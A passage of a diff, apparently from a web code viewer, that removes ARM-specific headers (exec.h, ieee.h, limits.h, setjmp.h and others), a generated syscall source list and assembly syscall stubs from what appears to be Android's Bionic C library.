* Copyright (c) 1993 Christopher G. Demetriou
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _ARM_EXEC_H_
|
||||
#define _ARM_EXEC_H_
|
||||
|
||||
#define __LDPGSZ 4096
|
||||
|
||||
#define NATIVE_EXEC_ELF
|
||||
|
||||
#define ARCH_ELFSIZE 32
|
||||
|
||||
#define ELF_TARG_CLASS ELFCLASS32
|
||||
#define ELF_TARG_DATA ELFDATA2LSB
|
||||
#define ELF_TARG_MACH EM_ARM
|
||||
|
||||
#define _NLIST_DO_AOUT
|
||||
#define _NLIST_DO_ELF
|
||||
|
||||
#define _KERN_DO_AOUT
|
||||
#define _KERN_DO_ELF
|
||||
|
||||
#endif /* _ARM_EXEC_H_ */
|
|
@ -1,191 +0,0 @@
|
|||
/* $OpenBSD: ieee.h,v 1.1 2004/02/01 05:09:49 drahn Exp $ */
|
||||
/* $NetBSD: ieee.h,v 1.2 2001/02/21 17:43:50 bjh21 Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1992, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This software was developed by the Computer Systems Engineering group
|
||||
* at Lawrence Berkeley Laboratory under DARPA contract BG 91-66 and
|
||||
* contributed to Berkeley.
|
||||
*
|
||||
* All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Lawrence Berkeley Laboratory.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)ieee.h 8.1 (Berkeley) 6/11/93
|
||||
*/
|
||||
|
||||
/*
|
||||
* ieee.h defines the machine-dependent layout of the machine's IEEE
|
||||
* floating point.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Define the number of bits in each fraction and exponent.
|
||||
*
|
||||
* k k+1
|
||||
* Note that 1.0 x 2 == 0.1 x 2 and that denorms are represented
|
||||
*
|
||||
* (-exp_bias+1)
|
||||
* as fractions that look like 0.fffff x 2 . This means that
|
||||
*
|
||||
* -126
|
||||
* the number 0.10000 x 2 , for instance, is the same as the normalized
|
||||
*
|
||||
* -127 -128
|
||||
* float 1.0 x 2 . Thus, to represent 2 , we need one leading zero
|
||||
*
|
||||
* -129
|
||||
* in the fraction; to represent 2 , we need two, and so on. This
|
||||
*
|
||||
* (-exp_bias-fracbits+1)
|
||||
* implies that the smallest denormalized number is 2
|
||||
*
|
||||
* for whichever format we are talking about: for single precision, for
|
||||
*
|
||||
* -126 -149
|
||||
* instance, we get .00000000000000000000001 x 2 , or 1.0 x 2 , and
|
||||
*
|
||||
* -149 == -127 - 23 + 1.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The ARM has two sets of FP data formats. The FPA supports 32-bit, 64-bit
|
||||
* and 96-bit IEEE formats, with the words in big-endian order. VFP supports
|
||||
* 32-bin and 64-bit IEEE formats with the words in the CPU's native byte
|
||||
* order.
|
||||
*
|
||||
* The FPA also has two packed decimal formats, but we ignore them here.
|
||||
*/
|
||||
|
||||
#define SNG_EXPBITS 8
|
||||
#define SNG_FRACBITS 23
|
||||
|
||||
#define DBL_EXPBITS 11
|
||||
#define DBL_FRACBITS 52
|
||||
|
||||
#ifndef __VFP_FP__
|
||||
#define E80_EXPBITS 15
|
||||
#define E80_FRACBITS 64
|
||||
|
||||
#define EXT_EXPBITS 15
|
||||
#define EXT_FRACBITS 112
|
||||
#endif
|
||||
|
||||
struct ieee_single {
|
||||
u_int sng_frac:23;
|
||||
u_int sng_exponent:8;
|
||||
u_int sng_sign:1;
|
||||
};
|
||||
|
||||
#ifdef __VFP_FP__
|
||||
struct ieee_double {
|
||||
#ifdef __ARMEB__
|
||||
u_int dbl_sign:1;
|
||||
u_int dbl_exp:11;
|
||||
u_int dbl_frach:20;
|
||||
u_int dbl_fracl;
|
||||
#else /* !__ARMEB__ */
|
||||
u_int dbl_fracl;
|
||||
u_int dbl_frach:20;
|
||||
u_int dbl_exp:11;
|
||||
u_int dbl_sign:1;
|
||||
#endif /* !__ARMEB__ */
|
||||
};
|
||||
#else /* !__VFP_FP__ */
|
||||
struct ieee_double {
|
||||
u_int dbl_frach:20;
|
||||
u_int dbl_exp:11;
|
||||
u_int dbl_sign:1;
|
||||
u_int dbl_fracl;
|
||||
};
|
||||
|
||||
union ieee_double_u {
|
||||
double dblu_d;
|
||||
struct ieee_double dblu_dbl;
|
||||
};
|
||||
|
||||
|
||||
struct ieee_e80 {
|
||||
u_int e80_exp:15;
|
||||
u_int e80_zero:16;
|
||||
u_int e80_sign:1;
|
||||
u_int e80_frach:31;
|
||||
u_int e80_j:1;
|
||||
u_int e80_fracl;
|
||||
};
|
||||
|
||||
struct ieee_ext {
|
||||
u_int ext_frach:16;
|
||||
u_int ext_exp:15;
|
||||
u_int ext_sign:1;
|
||||
u_int ext_frachm;
|
||||
u_int ext_fraclm;
|
||||
u_int ext_fracl;
|
||||
};
|
||||
#endif /* !__VFP_FP__ */
|
||||
|
||||
/*
|
||||
* Floats whose exponent is in [1..INFNAN) (of whatever type) are
|
||||
* `normal'. Floats whose exponent is INFNAN are either Inf or NaN.
|
||||
* Floats whose exponent is zero are either zero (iff all fraction
|
||||
* bits are zero) or subnormal values.
|
||||
*
|
||||
* A NaN is a `signalling NaN' if its QUIETNAN bit is clear in its
|
||||
* high fraction; if the bit is set, it is a `quiet NaN'.
|
||||
*/
|
||||
#define SNG_EXP_INFNAN 255
|
||||
#define DBL_EXP_INFNAN 2047
|
||||
#ifndef __VFP_FP__
|
||||
#define E80_EXP_INFNAN 32767
|
||||
#define EXT_EXP_INFNAN 32767
|
||||
#endif /* !__VFP_FP__ */
|
||||
|
||||
#if 0
|
||||
#define SNG_QUIETNAN (1 << 22)
|
||||
#define DBL_QUIETNAN (1 << 19)
|
||||
#ifndef __VFP_FP__
|
||||
#define E80_QUIETNAN (1 << 15)
|
||||
#define EXT_QUIETNAN (1 << 15)
|
||||
#endif /* !__VFP_FP__ */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Exponent biases.
|
||||
*/
|
||||
#define SNG_EXP_BIAS 127
|
||||
#define DBL_EXP_BIAS 1023
|
||||
#ifndef __VFP_FP__
|
||||
#define E80_EXP_BIAS 16383
|
||||
#define EXT_EXP_BIAS 16383
|
||||
#endif /* !__VFP_FP__ */
|
|
@ -1,10 +0,0 @@
|
|||
/* $OpenBSD: internal_types.h,v 1.2 2004/05/06 15:53:39 drahn Exp $ */
|
||||
/* Public domain */
|
||||
#ifndef _ARM_INTERNAL_TYPES_H_
|
||||
#define _ARM_INTERNAL_TYPES_H_
|
||||
|
||||
#ifdef __CHAR_UNSIGNED__
|
||||
#define __machine_has_unsigned_chars
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -1,42 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#ifndef _ARCH_ARM_KERNEL_H
|
||||
#define _ARCH_ARM_KERNEL_H
|
||||
|
||||
/* this file contains kernel-specific definitions that were optimized out of
|
||||
our processed kernel headers, but still useful nonetheless... */
|
||||
|
||||
typedef unsigned long __kernel_blkcnt_t;
|
||||
typedef unsigned long __kernel_blksize_t;
|
||||
|
||||
/* these aren't really defined by the kernel headers though... */
|
||||
typedef unsigned long __kernel_fsblkcnt_t;
|
||||
typedef unsigned long __kernel_fsfilcnt_t;
|
||||
typedef unsigned int __kernel_id_t;
|
||||
|
||||
#endif /* _ARCH_ARM_KERNEL_H */
|
|
@ -1,63 +0,0 @@
|
|||
/* $OpenBSD: limits.h,v 1.3 2006/01/06 22:48:46 millert Exp $ */
|
||||
/* $NetBSD: limits.h,v 1.4 2003/04/28 23:16:18 bjh21 Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1988 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* from: @(#)limits.h 7.2 (Berkeley) 6/28/90
|
||||
*/
|
||||
|
||||
#ifndef _ARM32_LIMITS_H_
|
||||
#define _ARM32_LIMITS_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
#define MB_LEN_MAX 1 /* no multibyte characters */
|
||||
|
||||
#ifndef SIZE_MAX
|
||||
#define SIZE_MAX UINT_MAX /* max value for a size_t */
|
||||
#endif
|
||||
#ifndef SSIZE_MAX
|
||||
#define SSIZE_MAX INT_MAX /* max value for a ssize_t */
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#define SIZE_T_MAX UINT_MAX /* max value for a size_t (historic) */
|
||||
|
||||
#define UQUAD_MAX 0xffffffffffffffffULL /* max unsigned quad */
|
||||
#define QUAD_MAX 0x7fffffffffffffffLL /* max signed quad */
|
||||
#define QUAD_MIN (-0x7fffffffffffffffLL-1) /* min signed quad */
|
||||
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
#define LONGLONG_BIT 64
|
||||
#define LONGLONG_MIN (-9223372036854775807LL-1)
|
||||
#define LONGLONG_MAX 9223372036854775807LL
|
||||
#define ULONGLONG_MAX 18446744073709551615ULL
|
||||
|
||||
#endif /* _ARM32_LIMITS_H_ */
|
|
@ -1,87 +0,0 @@
|
|||
/* $OpenBSD: setjmp.h,v 1.1 2004/02/01 05:09:49 drahn Exp $ */
|
||||
/* $NetBSD: setjmp.h,v 1.2 2001/08/25 14:45:59 bjh21 Exp $ */
|
||||
|
||||
/*
|
||||
* machine/setjmp.h: machine dependent setjmp-related information.
|
||||
*/
|
||||
|
||||
#ifdef __ELF__
|
||||
#define _JBLEN 64 /* size, in longs, of a jmp_buf */
|
||||
#else
|
||||
#define _JBLEN 29 /* size, in longs, of a jmp_buf */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* NOTE: The internal structure of a jmp_buf is *PRIVATE*
|
||||
* This information is provided as there is software
|
||||
* that fiddles with this with obtain the stack pointer
|
||||
* (yes really ! and its commercial !).
|
||||
*
|
||||
* Description of the setjmp buffer
|
||||
*
|
||||
* word 0 magic number (dependant on creator)
|
||||
* 1 - 3 f4 fp register 4
|
||||
* 4 - 6 f5 fp register 5
|
||||
* 7 - 9 f6 fp register 6
|
||||
* 10 - 12 f7 fp register 7
|
||||
* 13 fpsr fp status register
|
||||
* 14 r4 register 4
|
||||
* 15 r5 register 5
|
||||
* 16 r6 register 6
|
||||
* 17 r7 register 7
|
||||
* 18 r8 register 8
|
||||
* 19 r9 register 9
|
||||
* 20 r10 register 10 (sl)
|
||||
* 21 r11 register 11 (fp)
|
||||
* 22 r12 register 12 (ip)
|
||||
* 23 r13 register 13 (sp)
|
||||
* 24 r14 register 14 (lr)
|
||||
* 25 signal mask (dependant on magic)
|
||||
* 26 (con't)
|
||||
* 27 (con't)
|
||||
* 28 (con't)
|
||||
*
|
||||
* The magic number number identifies the jmp_buf and
|
||||
* how the buffer was created as well as providing
|
||||
* a sanity check
|
||||
*
|
||||
* A side note I should mention - Please do not tamper
|
||||
* with the floating point fields. While they are
|
||||
* always saved and restored at the moment this cannot
|
||||
* be garenteed especially if the compiler happens
|
||||
* to be generating soft-float code so no fp
|
||||
* registers will be used.
|
||||
*
|
||||
* Whilst this can be seen an encouraging people to
|
||||
* use the setjmp buffer in this way I think that it
|
||||
* is for the best then if changes occur compiles will
|
||||
* break rather than just having new builds falling over
|
||||
* mysteriously.
|
||||
*/
|
||||
|
||||
#define _JB_MAGIC__SETJMP 0x4278f500
|
||||
#define _JB_MAGIC_SETJMP 0x4278f501
|
||||
|
||||
/* Valid for all jmp_buf's */
|
||||
|
||||
#define _JB_MAGIC 0
|
||||
#define _JB_REG_F4 1
|
||||
#define _JB_REG_F5 4
|
||||
#define _JB_REG_F6 7
|
||||
#define _JB_REG_F7 10
|
||||
#define _JB_REG_FPSR 13
|
||||
#define _JB_REG_R4 14
|
||||
#define _JB_REG_R5 15
|
||||
#define _JB_REG_R6 16
|
||||
#define _JB_REG_R7 17
|
||||
#define _JB_REG_R8 18
|
||||
#define _JB_REG_R9 19
|
||||
#define _JB_REG_R10 20
|
||||
#define _JB_REG_R11 21
|
||||
#define _JB_REG_R12 22
|
||||
#define _JB_REG_R13 23
|
||||
#define _JB_REG_R14 24
|
||||
|
||||
/* Only valid with the _JB_MAGIC_SETJMP magic */
|
||||
|
||||
#define _JB_SIGMASK 25
|
|
@ -1,173 +0,0 @@
|
|||
# auto-generated by gensyscalls.py, do not touch
|
||||
syscall_src :=
|
||||
syscall_src += arch-arm/syscalls/_exit.S
|
||||
syscall_src += arch-arm/syscalls/_exit_thread.S
|
||||
syscall_src += arch-arm/syscalls/__fork.S
|
||||
syscall_src += arch-arm/syscalls/waitid.S
|
||||
syscall_src += arch-arm/syscalls/__sys_clone.S
|
||||
syscall_src += arch-arm/syscalls/execve.S
|
||||
syscall_src += arch-arm/syscalls/__setuid.S
|
||||
syscall_src += arch-arm/syscalls/getuid.S
|
||||
syscall_src += arch-arm/syscalls/getgid.S
|
||||
syscall_src += arch-arm/syscalls/geteuid.S
|
||||
syscall_src += arch-arm/syscalls/getegid.S
|
||||
syscall_src += arch-arm/syscalls/getresuid.S
|
||||
syscall_src += arch-arm/syscalls/getresgid.S
|
||||
syscall_src += arch-arm/syscalls/gettid.S
|
||||
syscall_src += arch-arm/syscalls/getgroups.S
|
||||
syscall_src += arch-arm/syscalls/getpgid.S
|
||||
syscall_src += arch-arm/syscalls/getppid.S
|
||||
syscall_src += arch-arm/syscalls/setsid.S
|
||||
syscall_src += arch-arm/syscalls/setgid.S
|
||||
syscall_src += arch-arm/syscalls/__setreuid.S
|
||||
syscall_src += arch-arm/syscalls/__setresuid.S
|
||||
syscall_src += arch-arm/syscalls/setresgid.S
|
||||
syscall_src += arch-arm/syscalls/__brk.S
|
||||
syscall_src += arch-arm/syscalls/__ptrace.S
|
||||
syscall_src += arch-arm/syscalls/__getpriority.S
|
||||
syscall_src += arch-arm/syscalls/setpriority.S
|
||||
syscall_src += arch-arm/syscalls/setrlimit.S
|
||||
syscall_src += arch-arm/syscalls/getrlimit.S
|
||||
syscall_src += arch-arm/syscalls/getrusage.S
|
||||
syscall_src += arch-arm/syscalls/setgroups.S
|
||||
syscall_src += arch-arm/syscalls/setpgid.S
|
||||
syscall_src += arch-arm/syscalls/vfork.S
|
||||
syscall_src += arch-arm/syscalls/setregid.S
|
||||
syscall_src += arch-arm/syscalls/chroot.S
|
||||
syscall_src += arch-arm/syscalls/prctl.S
|
||||
syscall_src += arch-arm/syscalls/capget.S
|
||||
syscall_src += arch-arm/syscalls/capset.S
|
||||
syscall_src += arch-arm/syscalls/sigaltstack.S
|
||||
syscall_src += arch-arm/syscalls/acct.S
|
||||
syscall_src += arch-arm/syscalls/read.S
|
||||
syscall_src += arch-arm/syscalls/write.S
|
||||
syscall_src += arch-arm/syscalls/__pread64.S
|
||||
syscall_src += arch-arm/syscalls/__pwrite64.S
|
||||
syscall_src += arch-arm/syscalls/__open.S
|
||||
syscall_src += arch-arm/syscalls/__openat.S
|
||||
syscall_src += arch-arm/syscalls/close.S
|
||||
syscall_src += arch-arm/syscalls/lseek.S
|
||||
syscall_src += arch-arm/syscalls/__llseek.S
|
||||
syscall_src += arch-arm/syscalls/getpid.S
|
||||
syscall_src += arch-arm/syscalls/__mmap2.S
|
||||
syscall_src += arch-arm/syscalls/munmap.S
|
||||
syscall_src += arch-arm/syscalls/mremap.S
|
||||
syscall_src += arch-arm/syscalls/msync.S
|
||||
syscall_src += arch-arm/syscalls/mprotect.S
|
||||
syscall_src += arch-arm/syscalls/madvise.S
|
||||
syscall_src += arch-arm/syscalls/mlock.S
|
||||
syscall_src += arch-arm/syscalls/munlock.S
|
||||
syscall_src += arch-arm/syscalls/mincore.S
|
||||
syscall_src += arch-arm/syscalls/__ioctl.S
|
||||
syscall_src += arch-arm/syscalls/readv.S
|
||||
syscall_src += arch-arm/syscalls/writev.S
|
||||
syscall_src += arch-arm/syscalls/__fcntl.S
|
||||
syscall_src += arch-arm/syscalls/flock.S
|
||||
syscall_src += arch-arm/syscalls/fchmod.S
|
||||
syscall_src += arch-arm/syscalls/dup.S
|
||||
syscall_src += arch-arm/syscalls/pipe.S
|
||||
syscall_src += arch-arm/syscalls/dup2.S
|
||||
syscall_src += arch-arm/syscalls/select.S
|
||||
syscall_src += arch-arm/syscalls/ftruncate.S
|
||||
syscall_src += arch-arm/syscalls/getdents.S
|
||||
syscall_src += arch-arm/syscalls/fsync.S
|
||||
syscall_src += arch-arm/syscalls/fchown.S
|
||||
syscall_src += arch-arm/syscalls/sync.S
|
||||
syscall_src += arch-arm/syscalls/__fcntl64.S
|
||||
syscall_src += arch-arm/syscalls/fstatfs.S
|
||||
syscall_src += arch-arm/syscalls/sendfile.S
|
||||
syscall_src += arch-arm/syscalls/fstatat.S
|
||||
syscall_src += arch-arm/syscalls/mkdirat.S
|
||||
syscall_src += arch-arm/syscalls/fchownat.S
|
||||
syscall_src += arch-arm/syscalls/fchmodat.S
|
||||
syscall_src += arch-arm/syscalls/renameat.S
|
||||
syscall_src += arch-arm/syscalls/link.S
|
||||
syscall_src += arch-arm/syscalls/unlink.S
|
||||
syscall_src += arch-arm/syscalls/unlinkat.S
|
||||
syscall_src += arch-arm/syscalls/chdir.S
|
||||
syscall_src += arch-arm/syscalls/mknod.S
|
||||
syscall_src += arch-arm/syscalls/chmod.S
|
||||
syscall_src += arch-arm/syscalls/chown.S
|
||||
syscall_src += arch-arm/syscalls/lchown.S
|
||||
syscall_src += arch-arm/syscalls/mount.S
|
||||
syscall_src += arch-arm/syscalls/umount2.S
|
||||
syscall_src += arch-arm/syscalls/fstat.S
|
||||
syscall_src += arch-arm/syscalls/stat.S
|
||||
syscall_src += arch-arm/syscalls/lstat.S
|
||||
syscall_src += arch-arm/syscalls/mkdir.S
|
||||
syscall_src += arch-arm/syscalls/readlink.S
|
||||
syscall_src += arch-arm/syscalls/rmdir.S
|
||||
syscall_src += arch-arm/syscalls/rename.S
|
||||
syscall_src += arch-arm/syscalls/__getcwd.S
|
||||
syscall_src += arch-arm/syscalls/access.S
|
||||
syscall_src += arch-arm/syscalls/symlink.S
|
||||
syscall_src += arch-arm/syscalls/fchdir.S
|
||||
syscall_src += arch-arm/syscalls/truncate.S
|
||||
syscall_src += arch-arm/syscalls/__statfs64.S
|
||||
syscall_src += arch-arm/syscalls/pause.S
|
||||
syscall_src += arch-arm/syscalls/gettimeofday.S
|
||||
syscall_src += arch-arm/syscalls/settimeofday.S
|
||||
syscall_src += arch-arm/syscalls/times.S
|
||||
syscall_src += arch-arm/syscalls/nanosleep.S
|
||||
syscall_src += arch-arm/syscalls/clock_gettime.S
|
||||
syscall_src += arch-arm/syscalls/clock_settime.S
|
||||
syscall_src += arch-arm/syscalls/clock_getres.S
|
||||
syscall_src += arch-arm/syscalls/clock_nanosleep.S
|
||||
syscall_src += arch-arm/syscalls/getitimer.S
|
||||
syscall_src += arch-arm/syscalls/setitimer.S
|
||||
syscall_src += arch-arm/syscalls/__timer_create.S
|
||||
syscall_src += arch-arm/syscalls/__timer_settime.S
|
||||
syscall_src += arch-arm/syscalls/__timer_gettime.S
|
||||
syscall_src += arch-arm/syscalls/__timer_getoverrun.S
|
||||
syscall_src += arch-arm/syscalls/__timer_delete.S
|
||||
syscall_src += arch-arm/syscalls/utimes.S
|
||||
syscall_src += arch-arm/syscalls/sigprocmask.S
|
||||
syscall_src += arch-arm/syscalls/__sigsuspend.S
|
||||
syscall_src += arch-arm/syscalls/__rt_sigaction.S
|
||||
syscall_src += arch-arm/syscalls/__rt_sigprocmask.S
|
||||
syscall_src += arch-arm/syscalls/__rt_sigtimedwait.S
|
||||
syscall_src += arch-arm/syscalls/sigpending.S
|
||||
syscall_src += arch-arm/syscalls/__sigaction.S
|
||||
syscall_src += arch-arm/syscalls/socket.S
|
||||
syscall_src += arch-arm/syscalls/socketpair.S
|
||||
syscall_src += arch-arm/syscalls/bind.S
|
||||
syscall_src += arch-arm/syscalls/connect.S
|
||||
syscall_src += arch-arm/syscalls/listen.S
|
||||
syscall_src += arch-arm/syscalls/accept.S
|
||||
syscall_src += arch-arm/syscalls/getsockname.S
|
||||
syscall_src += arch-arm/syscalls/getpeername.S
|
||||
syscall_src += arch-arm/syscalls/sendto.S
|
||||
syscall_src += arch-arm/syscalls/recvfrom.S
|
||||
syscall_src += arch-arm/syscalls/shutdown.S
|
||||
syscall_src += arch-arm/syscalls/setsockopt.S
|
||||
syscall_src += arch-arm/syscalls/getsockopt.S
|
||||
syscall_src += arch-arm/syscalls/sendmsg.S
|
||||
syscall_src += arch-arm/syscalls/recvmsg.S
|
||||
syscall_src += arch-arm/syscalls/sched_setscheduler.S
|
||||
syscall_src += arch-arm/syscalls/sched_getscheduler.S
|
||||
syscall_src += arch-arm/syscalls/sched_yield.S
|
||||
syscall_src += arch-arm/syscalls/sched_setparam.S
|
||||
syscall_src += arch-arm/syscalls/sched_getparam.S
|
||||
syscall_src += arch-arm/syscalls/sched_get_priority_max.S
|
||||
syscall_src += arch-arm/syscalls/sched_get_priority_min.S
|
||||
syscall_src += arch-arm/syscalls/sched_rr_get_interval.S
|
||||
syscall_src += arch-arm/syscalls/ioprio_set.S
|
||||
syscall_src += arch-arm/syscalls/ioprio_get.S
|
||||
syscall_src += arch-arm/syscalls/uname.S
|
||||
syscall_src += arch-arm/syscalls/__wait4.S
|
||||
syscall_src += arch-arm/syscalls/umask.S
|
||||
syscall_src += arch-arm/syscalls/__reboot.S
|
||||
syscall_src += arch-arm/syscalls/__syslog.S
|
||||
syscall_src += arch-arm/syscalls/init_module.S
|
||||
syscall_src += arch-arm/syscalls/delete_module.S
|
||||
syscall_src += arch-arm/syscalls/klogctl.S
|
||||
syscall_src += arch-arm/syscalls/futex.S
|
||||
syscall_src += arch-arm/syscalls/epoll_create.S
|
||||
syscall_src += arch-arm/syscalls/epoll_ctl.S
|
||||
syscall_src += arch-arm/syscalls/epoll_wait.S
|
||||
syscall_src += arch-arm/syscalls/inotify_init.S
|
||||
syscall_src += arch-arm/syscalls/inotify_add_watch.S
|
||||
syscall_src += arch-arm/syscalls/inotify_rm_watch.S
|
||||
syscall_src += arch-arm/syscalls/poll.S
|
||||
syscall_src += arch-arm/syscalls/__set_tls.S
|
||||
syscall_src += arch-arm/syscalls/cacheflush.S
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __brk, #function
|
||||
.globl __brk
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__brk:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_brk
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
|
@ -1,19 +0,0 @@
|
|||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __fcntl, #function
|
||||
.globl __fcntl
|
